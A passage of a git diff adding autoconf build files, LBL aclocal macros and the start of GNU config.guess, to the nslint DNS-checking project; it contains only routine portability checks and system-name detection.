LIBS="$LIBS -lpcap" + else + $1=$libpcap + $2="-I$d $$2" + AC_MSG_RESULT($libpcap) + fi + if test "x$libpcap" != "x-lpcap" ; then + LIBS="$libpcap $LIBS" + fi + case "$target_os" in + + aix*) + pseexe="/lib/pse.exp" + AC_MSG_CHECKING(for $pseexe) + if test -f $pseexe ; then + AC_MSG_RESULT(yes) + LIBS="$LIBS -I:$pseexe" + fi + ;; + esac]) + +dnl +dnl Define RETSIGTYPE and RETSIGVAL +dnl +dnl usage: +dnl +dnl AC_LBL_TYPE_SIGNAL +dnl +dnl results: +dnl +dnl RETSIGTYPE (defined) +dnl RETSIGVAL (defined) +dnl +AC_DEFUN(AC_LBL_TYPE_SIGNAL, + [AC_BEFORE([$0], [AC_LBL_LIBPCAP]) + AC_TYPE_SIGNAL + if test "$ac_cv_type_signal" = void ; then + AC_DEFINE(RETSIGVAL,,[signal function return value]) + else + AC_DEFINE(RETSIGVAL,(0)) + fi + case "$target_os" in + + irix*) + AC_DEFINE(_BSD_SIGNALS,,[irix's BSD style signals]) + ;; + + *) + dnl prefer sigset() to sigaction() + AC_CHECK_FUNCS(sigset) + if test $ac_cv_func_sigset = yes ; then + AC_DEFINE(signal,sigset,[use sigset() instead of signal()]) + else + AC_CHECK_FUNCS(sigaction) + fi + ;; + esac]) + +dnl +dnl If using gcc, make sure we have ANSI ioctl definitions +dnl +dnl usage: +dnl +dnl AC_LBL_FIXINCLUDES +dnl +AC_DEFUN(AC_LBL_FIXINCLUDES, + [if test "$GCC" = yes ; then + AC_MSG_CHECKING(for ANSI ioctl definitions) + AC_CACHE_VAL(ac_cv_lbl_gcc_fixincludes, + AC_TRY_COMPILE( + [/* + * This generates a "duplicate case value" when fixincludes + * has not be run. + */ +# include +# include +# include +# ifdef HAVE_SYS_IOCCOM_H +# include +# endif], + [switch (0) { + case _IO('A', 1):; + case _IO('B', 1):; + }], + ac_cv_lbl_gcc_fixincludes=yes, + ac_cv_lbl_gcc_fixincludes=no)) + AC_MSG_RESULT($ac_cv_lbl_gcc_fixincludes) + if test $ac_cv_lbl_gcc_fixincludes = no ; then + # Don't cache failure + unset ac_cv_lbl_gcc_fixincludes + AC_MSG_ERROR(see the INSTALL for more info) + fi + fi]) + +dnl +dnl Check for flex, default to lex +dnl Require flex 2.4 or higher +dnl Check for bison, default to yacc +dnl Default to lex/yacc if both flex and bison are not available +dnl Define the yy prefix string if using flex and bison +dnl +dnl usage: +dnl +dnl AC_LBL_LEX_AND_YACC(lex, yacc, yyprefix) +dnl +dnl results: +dnl +dnl $1 (lex set) +dnl $2 (yacc appended) +dnl $3 (optional flex and bison -P prefix) +dnl +AC_DEFUN(AC_LBL_LEX_AND_YACC, + [AC_ARG_WITH(flex, [ --without-flex don't use flex]) + AC_ARG_WITH(bison, [ --without-bison don't use bison]) + if test "$with_flex" = no ; then + $1=lex + else + AC_CHECK_PROGS($1, flex, lex) + fi + if test "$$1" = flex ; then + # The -V flag was added in 2.4 + AC_MSG_CHECKING(for flex 2.4 or higher) + AC_CACHE_VAL(ac_cv_lbl_flex_v24, + if flex -V >/dev/null 2>&1; then + ac_cv_lbl_flex_v24=yes + else + ac_cv_lbl_flex_v24=no + fi) + AC_MSG_RESULT($ac_cv_lbl_flex_v24) + if test $ac_cv_lbl_flex_v24 = no ; then + s="2.4 or higher required" + AC_MSG_WARN(ignoring obsolete flex executable ($s)) + $1=lex + fi + fi + if test "$with_bison" = no ; then + $2=yacc + else + AC_CHECK_PROGS($2, bison, yacc) + fi + if test "$$2" = bison ; then + $2="$$2 -y" + fi + if test "$$1" != lex -a "$$2" = yacc -o "$$1" = lex -a "$$2" != yacc ; then + AC_MSG_WARN(don't have both flex and bison; reverting to lex/yacc) + $1=lex + $2=yacc + fi + if test "$$1" = flex -a -n "$3" ; then + $1="$$1 -P$3" + $2="$$2 -p $3" + fi]) + +dnl +dnl Checks to see if union wait is used with WEXITSTATUS() +dnl +dnl usage: +dnl +dnl AC_LBL_UNION_WAIT +dnl +dnl results: +dnl +dnl DECLWAITSTATUS (defined) +dnl +AC_DEFUN(AC_LBL_UNION_WAIT, + [AC_MSG_CHECKING(if union wait is used) + AC_CACHE_VAL(ac_cv_lbl_union_wait, + AC_TRY_COMPILE([ +# include +# include ], + [int status; + u_int i = WEXITSTATUS(status); + u_int j = waitpid(0, &status, 0);], + ac_cv_lbl_union_wait=no, + ac_cv_lbl_union_wait=yes)) + AC_MSG_RESULT($ac_cv_lbl_union_wait) + if test $ac_cv_lbl_union_wait = yes ; then + AC_DEFINE(DECLWAITSTATUS,union wait) + else + AC_DEFINE(DECLWAITSTATUS,int) + fi]) + +dnl +dnl Checks to see if the sockaddr struct has the 4.4 BSD sa_len member +dnl +dnl usage: +dnl +dnl AC_LBL_SOCKADDR_SA_LEN +dnl +dnl results: +dnl +dnl HAVE_SOCKADDR_SA_LEN (defined) +dnl +AC_DEFUN(AC_LBL_SOCKADDR_SA_LEN, + [AC_CHECK_MEMBERS(struct sockaddr.sa_len,,,[ +# include +# include ])]) + +dnl +dnl Makes sure socklen_t is defined +dnl +dnl usage: +dnl +dnl AC_LBL_SOCKLEN_T +dnl +dnl results: +dnl +dnl socklen_t (defined if missing) +dnl +AC_DEFUN(AC_LBL_SOCKLEN_T, + [AC_MSG_CHECKING(for socklen_t in sys/socket.h using $CC) + AC_CACHE_VAL(ac_cv_lbl_socklen_t, + AC_TRY_COMPILE([ +# include "confdefs.h" +# include +# include +# if STDC_HEADERS +# include +# include +# endif], + [socklen_t i], + ac_cv_lbl_socklen_t=yes, + ac_cv_lbl_socklen_t=no)) + AC_MSG_RESULT($ac_cv_lbl_socklen_t) + if test $ac_cv_lbl_socklen_t = no ; then + AC_DEFINE(socklen_t, int, [Define socklen_t if missing]) + fi]) + +dnl +dnl Checks to see if the IFF_LOOPBACK exists as a define or enum +dnl +dnl (stupidly some versions of linux use an enum...) +dnl +dnl usage: +dnl +dnl AC_LBL_IFF_LOOPBACK +dnl +dnl results: +dnl +dnl HAVE_IFF_LOOPBACK (defined) +dnl +AC_DEFUN(AC_LBL_IFF_LOOPBACK, + [AC_MSG_CHECKING(for IFF_LOOPBACK define/enum) + AC_CACHE_VAL(ac_cv_lbl_have_iff_loopback, + AC_TRY_COMPILE([ +# include +# include +# include +# include +# ifdef HAVE_SYS_SOCKIO_H +# include +# endif +# include +# include +# include ], + [int i = IFF_LOOPBACK], + ac_cv_lbl_have_iff_loopback=yes, + ac_cv_lbl_have_iff_loopback=no)) + AC_MSG_RESULT($ac_cv_lbl_have_iff_loopback) + if test $ac_cv_lbl_have_iff_loopback = yes ; then + AC_DEFINE(HAVE_IFF_LOOPBACK,, [Have IFF_LOOPBACK define/enum]) + fi]) + +dnl +dnl Checks to see if -R is used +dnl +dnl usage: +dnl +dnl AC_LBL_HAVE_RUN_PATH +dnl +dnl results: +dnl +dnl ac_cv_lbl_have_run_path (yes or no) +dnl +AC_DEFUN(AC_LBL_HAVE_RUN_PATH, + [AC_MSG_CHECKING(for ${CC-cc} -R) + AC_CACHE_VAL(ac_cv_lbl_have_run_path, + [echo 'main(){}' > conftest.c + ${CC-cc} -o conftest conftest.c -R/a1/b2/c3 >conftest.out 2>&1 + if test ! -s conftest.out ; then + ac_cv_lbl_have_run_path=yes + else + ac_cv_lbl_have_run_path=no + fi + rm -f conftest*]) + AC_MSG_RESULT($ac_cv_lbl_have_run_path) + ]) + +dnl +dnl Due to the stupid way it's implemented, AC_CHECK_TYPE is nearly useless. +dnl +dnl usage: +dnl +dnl AC_LBL_CHECK_TYPE +dnl +dnl results: +dnl +dnl int32_t (defined) +dnl u_int32_t (defined) +dnl +AC_DEFUN(AC_LBL_CHECK_TYPE, + [AC_MSG_CHECKING(for $1 using $CC) + AC_CACHE_VAL(ac_cv_lbl_have_$1, + AC_TRY_COMPILE([ +# include "confdefs.h" +# include +# if STDC_HEADERS +# include +# include +# endif], + [$1 i], + ac_cv_lbl_have_$1=yes, + ac_cv_lbl_have_$1=no)) + AC_MSG_RESULT($ac_cv_lbl_have_$1) + if test $ac_cv_lbl_have_$1 = no ; then + AC_DEFINE($1, $2, Define $1) + fi]) + +dnl +dnl Checks to see if unaligned memory accesses fail +dnl +dnl usage: +dnl +dnl AC_LBL_UNALIGNED_ACCESS +dnl +dnl results: +dnl +dnl LBL_ALIGN (DEFINED) +dnl +AC_DEFUN(AC_LBL_UNALIGNED_ACCESS, + [AC_MSG_CHECKING(if unaligned accesses fail) + AC_CACHE_VAL(ac_cv_lbl_unaligned_fail, + [case "$target_cpu" in + + alpha|hp*|mips|sparc) + ac_cv_lbl_unaligned_fail=yes + ;; + + *) + cat >conftest.c < +# include +# include + unsigned char a[[5]] = { 1, 2, 3, 4, 5 }; + main() { + unsigned int i; + pid_t pid; + int status; + /* avoid "core dumped" message */ + pid = fork(); + if (pid < 0) + exit(2); + if (pid > 0) { + /* parent */ + pid = waitpid(pid, &status, 0); + if (pid < 0) + exit(3); + exit(!WIFEXITED(status)); + } + /* child */ + i = *(unsigned int *)&a[[1]]; + printf("%d\n", i); + exit(0); + } +EOF + ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \ + conftest.c $LIBS >/dev/null 2>&1 + if test ! -x conftest ; then + dnl failed to compile for some reason + ac_cv_lbl_unaligned_fail=yes + else + ./conftest >conftest.out + if test ! -s conftest.out ; then + ac_cv_lbl_unaligned_fail=yes + else + ac_cv_lbl_unaligned_fail=no + fi + fi + rm -f conftest* core core.conftest + ;; + esac]) + AC_MSG_RESULT($ac_cv_lbl_unaligned_fail) + if test $ac_cv_lbl_unaligned_fail = yes ; then + AC_DEFINE(LBL_ALIGN) + fi]) + +dnl +dnl add all warning option to CFLAGS +dnl +dnl usage: +dnl +dnl AC_LBL_CHECK_WALL(copt) +dnl +dnl results: +dnl +dnl $1 (copt appended) +dnl ac_cv_lbl_gcc_vers +dnl +AC_DEFUN(AC_LBL_CHECK_WALL, + [ if test "$GCC" = yes ; then + if test "$SHLICC2" = yes ; then + ac_cv_lbl_gcc_vers=2 + $1="`echo $$1 | sed -e 's/-O/-O2/'`" + else + AC_MSG_CHECKING(gcc version) + AC_CACHE_VAL(ac_cv_lbl_gcc_vers, + # Gag, the gcc folks keep changing the output... + ac_cv_lbl_gcc_vers=`$CC --version 2>&1 | \ + sed -e '1!d' -e 's/.* //' -e 's/\..*//'`) + AC_MSG_RESULT($ac_cv_lbl_gcc_vers) + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + $1="`echo $$1 | sed -e 's/-O/-O2/'`" + fi + fi + if test "${LBL_CFLAGS+set}" != set; then + if test "$ac_cv_prog_cc_g" = yes ; then + $1="-g $$1" + fi + $1="$$1 -Wall" + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + $1="$$1 -Wmissing-prototypes -Wstrict-prototypes" + fi + fi + else + case "$target_os" in + + irix6*) + $1="$$1 -fullwarn -n32" + ;; + + *) + ;; + esac + fi]) + +dnl +dnl If using gcc and the file .devel exists: +dnl Compile with -g (if supported) and -Wall +dnl If using gcc 2, do extra prototype checking +dnl If an os prototype include exists, symlink os-proto.h to it +dnl +dnl usage: +dnl +dnl AC_LBL_DEVEL(copt) +dnl +dnl results: +dnl +dnl $1 (copt appended) +dnl HAVE_OS_PROTO_H (defined) +dnl os-proto.h (symlinked) +dnl +AC_DEFUN(AC_LBL_DEVEL, + [rm -f os-proto.h + if test "${LBL_CFLAGS+set}" = set; then + $1="$$1 ${LBL_CFLAGS}" + fi + if test -f .devel ; then + AC_LBL_CHECK_WALL($1) + os=`echo $target_os | sed -e 's/\([[0-9]][[0-9]]*\)[[^0-9]].*$/\1/'` + name="lbl/os-$os.h" + if test -f $name ; then + ln -s $name os-proto.h + AC_DEFINE(HAVE_OS_PROTO_H,,[have os-proto.h]) + else + AC_MSG_WARN(can't find $name) + fi + fi]) + +dnl +dnl Improved version of AC_CHECK_LIB +dnl +dnl Thanks to John Hawkinson (jhawk@mit.edu) +dnl +dnl usage: +dnl +dnl AC_LBL_CHECK_LIB(LIBRARY, FUNCTION [, ACTION-IF-FOUND [, +dnl ACTION-IF-NOT-FOUND [, OTHER-LIBRARIES]]]) +dnl +dnl results: +dnl +dnl LIBS +dnl + +define(AC_LBL_CHECK_LIB, +[AC_MSG_CHECKING([for $2 in -l$1]) +dnl Use a cache variable name containing both the library and function name, +dnl because the test really is for library $1 defining function $2, not +dnl just for library $1. Separate tests with the same $1 and different $2's +dnl may have different results. +ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+- %__p__%'` +AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var, +[ac_save_LIBS="$LIBS" +LIBS="-l$1 $5 $LIBS" +AC_TRY_LINK(dnl +ifelse([$2], [main], , dnl Avoid conflicting decl of main. +[/* Override any gcc2 internal prototype to avoid an error. */ +]ifelse(AC_LANG, CPLUSPLUS, [#ifdef __cplusplus +extern "C" +#endif +])dnl +[/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $2(); +]), + [$2()], + eval "ac_cv_lbl_lib_$ac_lib_var=yes", + eval "ac_cv_lbl_lib_$ac_lib_var=no") +LIBS="$ac_save_LIBS" +])dnl +if eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes"; then + AC_MSG_RESULT(yes) + ifelse([$3], , +[changequote(, )dnl + ac_tr_lib=HAVE_LIB`echo $1 | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` +changequote([, ])dnl + AC_DEFINE_UNQUOTED($ac_tr_lib) + LIBS="-l$1 $LIBS" +], [$3]) +else + AC_MSG_RESULT(no) +ifelse([$4], , , [$4 +])dnl +fi +]) + +dnl +dnl AC_LBL_LIBRARY_NET +dnl +dnl This test is for network applications that need socket() and +dnl gethostbyname() -ish functions. Under Solaris, those applications +dnl need to link with "-lsocket -lnsl". Under IRIX, they need to link +dnl with "-lnsl" but should *not* link with "-lsocket" because +dnl libsocket.a breaks a number of things (for instance: +dnl gethostbyname() under IRIX 5.2, and snoop sockets under most +dnl versions of IRIX). +dnl +dnl Unfortunately, many application developers are not aware of this, +dnl and mistakenly write tests that cause -lsocket to be used under +dnl IRIX. It is also easy to write tests that cause -lnsl to be used +dnl under operating systems where neither are necessary (or useful), +dnl such as SunOS 4.1.4, which uses -lnsl for TLI. +dnl +dnl This test exists so that every application developer does not test +dnl this in a different, and subtly broken fashion. + +dnl It has been argued that this test should be broken up into two +dnl seperate tests, one for the resolver libraries, and one for the +dnl libraries necessary for using Sockets API. Unfortunately, the two +dnl are carefully intertwined and allowing the autoconf user to use +dnl them independantly potentially results in unfortunate ordering +dnl dependancies -- as such, such component macros would have to +dnl carefully use indirection and be aware if the other components were +dnl executed. Since other autoconf macros do not go to this trouble, +dnl and almost no applications use sockets without the resolver, this +dnl complexity has not been implemented. +dnl +dnl The check for libresolv is in case you are attempting to link +dnl statically and happen to have a libresolv.a lying around (and no +dnl libnsl.a). +dnl +AC_DEFUN(AC_LBL_LIBRARY_NET, [ + # Most operating systems have gethostbyname() in the default searched + # libraries (i.e. libc): + AC_CHECK_FUNC(gethostbyname, , + # Some OSes (eg. Solaris) place it in libnsl: + AC_CHECK_LIB(nsl, gethostbyname, , + # Some strange OSes (SINIX) have it in libsocket: + AC_CHECK_LIB(socket, gethostbyname, , + # Unfortunately libsocket sometimes depends on libnsl. + # AC_CHECK_LIB's API is essentially broken so the + # following ugliness is necessary: + AC_CHECK_LIB(socket, gethostbyname, + LIBS="-lsocket -lnsl $LIBS", + AC_CHECK_LIB(resolv, gethostbyname), + -lnsl)))) + AC_CHECK_FUNC(socket, , AC_CHECK_LIB(socket, socket, , + AC_CHECK_LIB(socket, socket, LIBS="-lsocket -lnsl $LIBS", , + -lnsl))) + # DLPI needs putmsg under HPUX so test for -lstr while we're at it + AC_CHECK_LIB(str, putmsg) + ]) diff --git a/dns-projects/nslint-2.1a8/config.guess b/dns-projects/nslint-2.1a8/config.guess new file mode 100755 index 0000000..0e30d56 --- /dev/null +++ b/dns-projects/nslint-2.1a8/config.guess @@ -0,0 +1,1407 @@ +#! /bin/sh +# Attempt to guess a canonical system name. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, +# 2000, 2001, 2002, 2003 Free Software Foundation, Inc. + +timestamp='2003-07-02' + +# This file is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Originally written by Per Bothner . +# Please send patches to . Submit a context +# diff and a properly formatted ChangeLog entry. +# +# This script attempts to guess a canonical system name similar to +# config.sub. If it succeeds, it prints the system name on stdout, and +# exits with 0. Otherwise, it exits with 1. +# +# The plan is that this can be called by configure scripts if you +# don't specify an explicit build system type. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] + +Output the configuration name of the system \`$me' is run on. + +Operation modes: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to ." + +version="\ +GNU config.guess ($timestamp) + +Originally written by Per Bothner. +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001 +Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit 0 ;; + --version | -v ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" >&2 + exit 1 ;; + * ) + break ;; + esac +done + +if test $# != 0; then + echo "$me: too many arguments$help" >&2 + exit 1 +fi + +trap 'exit 1' 1 2 15 + +# CC_FOR_BUILD -- compiler used by this script. Note that the use of a +# compiler to aid in system detection is discouraged as it requires +# temporary files to be created and, as you can see below, it is a +# headache to deal with in a portable fashion. + +# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still +# use `HOST_CC' if defined, but it is deprecated. + +# Portable tmp directory creation inspired by the Autoconf team. + +set_cc_for_build=' +trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; +trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; +: ${TMPDIR=/tmp} ; + { tmp=`(umask 077 && mktemp -d -q "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || + { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || + { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || + { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; +dummy=$tmp/dummy ; +tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; +case $CC_FOR_BUILD,$HOST_CC,$CC in + ,,) echo "int x;" > $dummy.c ; + for c in cc gcc c89 c99 ; do + if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then + CC_FOR_BUILD="$c"; break ; + fi ; + done ; + if test x"$CC_FOR_BUILD" = x ; then + CC_FOR_BUILD=no_compiler_found ; + fi + ;; + ,,*) CC_FOR_BUILD=$CC ;; + ,*,*) CC_FOR_BUILD=$HOST_CC ;; +esac ;' + +# This is needed to find uname on a Pyramid OSx when run in the BSD universe. +# (ghazi@noc.rutgers.edu 1994-08-24) +if (test -f /.attbin/uname) >/dev/null 2>&1 ; then + PATH=$PATH:/.attbin ; export PATH +fi + +UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown +UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown +UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown +UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown + +# Note: order is significant - the case branches are not exclusive. + +case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in + *:NetBSD:*:*) + # NetBSD (nbsd) targets should (where applicable) match one or + # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, + # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently + # switched to ELF, *-*-netbsd* would select the old + # object file format. This provides both forward + # compatibility and a consistent mechanism for selecting the + # object file format. + # + # Note: NetBSD doesn't particularly care about the vendor + # portion of the name. We always set it to "unknown". + sysctl="sysctl -n hw.machine_arch" + UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ + /usr/sbin/$sysctl 2>/dev/null || echo unknown)` + case "${UNAME_MACHINE_ARCH}" in + armeb) machine=armeb-unknown ;; + arm*) machine=arm-unknown ;; + sh3el) machine=shl-unknown ;; + sh3eb) machine=sh-unknown ;; + *) machine=${UNAME_MACHINE_ARCH}-unknown ;; + esac + # The Operating System including object format, if it has switched + # to ELF recently, or will in the future. + case "${UNAME_MACHINE_ARCH}" in + arm*|i386|m68k|ns32k|sh3*|sparc|vax) + eval $set_cc_for_build + if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep __ELF__ >/dev/null + then + # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). + # Return netbsd for either. FIX? + os=netbsd + else + os=netbsdelf + fi + ;; + *) + os=netbsd + ;; + esac + # The OS release + # Debian GNU/NetBSD machines have a different userland, and + # thus, need a distinct triplet. However, they do not need + # kernel version information, so it can be replaced with a + # suitable tag, in the style of linux-gnu. + case "${UNAME_VERSION}" in + Debian*) + release='-gnu' + ;; + *) + release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + ;; + esac + # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: + # contains redundant information, the shorter form: + # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. + echo "${machine}-${os}${release}" + exit 0 ;; + amiga:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + arc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + hp300:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mac68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + macppc:OpenBSD:*:*) + echo powerpc-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme88k:OpenBSD:*:*) + echo m88k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvmeppc:OpenBSD:*:*) + echo powerpc-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + pmax:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sgi:OpenBSD:*:*) + echo mipseb-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sun3:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + wgrisc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:OpenBSD:*:*) + echo ${UNAME_MACHINE}-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + alpha:OSF1:*:*) + if test $UNAME_RELEASE = "V4.0"; then + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` + fi + # According to Compaq, /usr/sbin/psrinfo has been available on + # OSF/1 and Tru64 systems produced since 1995. I hope that + # covers most systems running today. This code pipes the CPU + # types through head -n 1, so we only detect the type of CPU 0. + ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` + case "$ALPHA_CPU_TYPE" in + "EV4 (21064)") + UNAME_MACHINE="alpha" ;; + "EV4.5 (21064)") + UNAME_MACHINE="alpha" ;; + "LCA4 (21066/21068)") + UNAME_MACHINE="alpha" ;; + "EV5 (21164)") + UNAME_MACHINE="alphaev5" ;; + "EV5.6 (21164A)") + UNAME_MACHINE="alphaev56" ;; + "EV5.6 (21164PC)") + UNAME_MACHINE="alphapca56" ;; + "EV5.7 (21164PC)") + UNAME_MACHINE="alphapca57" ;; + "EV6 (21264)") + UNAME_MACHINE="alphaev6" ;; + "EV6.7 (21264A)") + UNAME_MACHINE="alphaev67" ;; + "EV6.8CB (21264C)") + UNAME_MACHINE="alphaev68" ;; + "EV6.8AL (21264B)") + UNAME_MACHINE="alphaev68" ;; + "EV6.8CX (21264D)") + UNAME_MACHINE="alphaev68" ;; + "EV6.9A (21264/EV69A)") + UNAME_MACHINE="alphaev69" ;; + "EV7 (21364)") + UNAME_MACHINE="alphaev7" ;; + "EV7.9 (21364A)") + UNAME_MACHINE="alphaev79" ;; + esac + # A Vn.n version is a released version. + # A Tn.n version is a released field test version. + # A Xn.n version is an unreleased experimental baselevel. + # 1.2 uses "1.2" for uname -r. + echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[VTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + exit 0 ;; + Alpha*:OpenVMS:*:*) + echo alpha-hp-vms + exit 0 ;; + Alpha\ *:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # Should we change UNAME_MACHINE based on the output of uname instead + # of the specific Alpha model? + echo alpha-pc-interix + exit 0 ;; + 21064:Windows_NT:50:3) + echo alpha-dec-winnt3.5 + exit 0 ;; + Amiga*:UNIX_System_V:4.0:*) + echo m68k-unknown-sysv4 + exit 0;; + *:[Aa]miga[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-amigaos + exit 0 ;; + *:[Mm]orph[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-morphos + exit 0 ;; + *:OS/390:*:*) + echo i370-ibm-openedition + exit 0 ;; + arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) + echo arm-acorn-riscix${UNAME_RELEASE} + exit 0;; + SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) + echo hppa1.1-hitachi-hiuxmpp + exit 0;; + Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) + # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. + if test "`(/bin/universe) 2>/dev/null`" = att ; then + echo pyramid-pyramid-sysv3 + else + echo pyramid-pyramid-bsd + fi + exit 0 ;; + NILE*:*:*:dcosx) + echo pyramid-pyramid-svr4 + exit 0 ;; + DRS?6000:unix:4.0:6*) + echo sparc-icl-nx6 + exit 0 ;; + DRS?6000:UNIX_SV:4.2*:7*) + case `/usr/bin/uname -p` in + sparc) echo sparc-icl-nx7 && exit 0 ;; + esac ;; + sun4H:SunOS:5.*:*) + echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) + echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + i86pc:SunOS:5.*:*) + echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:6*:*) + # According to config.sub, this is the proper way to canonicalize + # SunOS6. Hard to guess exactly what SunOS6 will be like, but + # it's likely to be more like Solaris than SunOS4. + echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:*:*) + case "`/usr/bin/arch -k`" in + Series*|S4*) + UNAME_RELEASE=`uname -v` + ;; + esac + # Japanese Language versions have a version number like `4.1.3-JL'. + echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` + exit 0 ;; + sun3*:SunOS:*:*) + echo m68k-sun-sunos${UNAME_RELEASE} + exit 0 ;; + sun*:*:4.2BSD:*) + UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` + test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 + case "`/bin/arch`" in + sun3) + echo m68k-sun-sunos${UNAME_RELEASE} + ;; + sun4) + echo sparc-sun-sunos${UNAME_RELEASE} + ;; + esac + exit 0 ;; + aushp:SunOS:*:*) + echo sparc-auspex-sunos${UNAME_RELEASE} + exit 0 ;; + # The situation for MiNT is a little confusing. The machine name + # can be virtually everything (everything which is not + # "atarist" or "atariste" at least should have a processor + # > m68000). The system name ranges from "MiNT" over "FreeMiNT" + # to the lowercase version "mint" (or "freemint"). Finally + # the system name "TOS" denotes a system which is actually not + # MiNT. But MiNT is downward compatible to TOS, so this should + # be no 